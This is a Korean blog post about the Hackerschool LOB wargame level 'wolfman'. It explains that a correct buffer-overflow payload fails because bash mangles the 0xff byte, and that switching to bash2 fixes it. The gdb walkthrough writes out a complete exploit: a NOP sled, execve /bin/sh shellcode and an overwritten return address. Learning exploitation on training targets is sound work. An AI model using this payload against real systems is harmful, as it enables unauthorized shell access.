[PuTTY/LOB] "Stack is still your friend"; 분명 맞는 페이로드를 짰는데 틀렸을 때

두비니

·

2020. 7. 16. 11:33

 

 

 

 

 

 

 

LOB를 풀다보면 Segmentation Fault도 아니고 "stack is still your friend"가 뜰 때가 있다.

 

lob wolfman문제 일부

 

결론부터 얘기하면 bash2입력하세요. 

자 갈길갈사람들은 가시고 "왜?"가 궁금하신 분들은 나머지 글을 읽읍시다.

 

 

아니 난 스택 잘 맞춰줬는데 도대체 뭐가 문제지? gdb로 한번 분석을 해봅시다.

문제는 lob wolfman 일부를 가져왔습니다.

 

[orc@localhost orc]$ gdb -q lolfman
(gdb) disas main
Dump of assembler code for function main:
0x8048500 <main>:       push   %ebp
0x8048501 <main+1>:     mov    %esp,%ebp
0x8048503 <main+3>:     sub    $0x2c,%esp
0x8048506 <main+6>:     cmpl   $0x1,0x8(%ebp)
0x804850a <main+10>:    jg     0x8048523 <main+35>
0x804850c <main+12>:    push   $0x8048640
0x8048511 <main+17>:    call   0x8048410 <printf>
0x8048516 <main+22>:    add    $0x4,%esp
0x8048519 <main+25>:    push   $0x0
...(생략)
End of assembler dump.
(gdb) b * main+17

 

어차피 Stack is still your friend 뜨기전에 멈춰서 확인해줘야하기 때문에, main+17에 브레이크포인트를 걸어줍니다.

 

(gdb) r `python -c 'print "\x90"*19 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x9c\xfc\xff\xbf"'`
Starting program: /home/orc/lolfman `python -c 'print "\x90"*19 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x9c\xfc\xff\xbf"'`

Breakpoint 1, 0x804850a in main ()
(gdb) x/100x $esp
0xbffffb1c:     0x40021ca0      0xbffffb48      0x4000a970      0x400f855b
...(생략)
0xbffffc7c:     0x2f003638      0x656d6f68      0x63726f2f      0x6c6f6c2f
---Type <return> to continue, or q <return> to quit---
0xbffffc8c:     0x6e616d66      0x90909000      0x90909090      0x90909090
0xbffffc9c:     0x90909090      0x90909090      0x6850c031      0x68732f2f
(gdb) x/24x 0xbffffc8c
0xbffffc8c:     0x6e616d66      0x90909000      0x90909090      0x90909090
0xbffffc9c:     0x90909090      0x90909090      0x6850c031      0x68732f2f
0xbffffcac:     0x69622f68      0x50e3896e      0x89e18953      0xcd0bb0c2
0xbffffcbc:     0x00fc9c80      0x5353454c      0x4e45504f      0x752f7c3d
0xbffffccc:     0x622f7273      0x6c2f6e69      0x70737365      0x2e657069
0xbffffcdc:     0x25206873      0x53550073      0x414e5245      0x003d454d

 

보니깐 0xbffffc8c에서 0x90이 시작하길래 0xbffffc8c을 기준으로 한번 더 봐줬습니다.

보면 쉘코드 잘 넣어주다가


0xbffffcbc:     0x00fc9c80      0x5353454c      0x4e45504f      0x752f7c3d

 

저런, 주소가 \x9c\xfc\x00\x4c로 입력이 되버렸네요. 저는 분명히 페이로드에 \x9c\xfc\xff\xbf로 주소를 입력했는데 이게 무슨일일까요?

 

이건 bash의 문제입니다.

0xff를 인식하지 못하고 0x00으로 인식해버립니다.

근데 지금 gdb상태 보니깐 0x00으로 인식하고 그 뒤에있는 값은 아예 씹어버리는것같네요.

아무튼 그런 이유로 stack is still your friend가 뜨는 것이니 bash2를 꼭 입력합시다.

 

 

:결론: 

1. gdb를 가까이 합시다.

2. bash2꼭 입력하기

 

 

끝!

 

 

제 LOB 풀이 게시판: https://dokhakdubini.tistory.com/category/War%20Games/%ED%95%B4%EC%BB%A4%EC%8A%A4%EC%BF%A8%20LOB

 

'War Games/해커스쿨 LOB' 카테고리의 글 목록

절.대.독.학.해.

dokhakdubini.tistory.com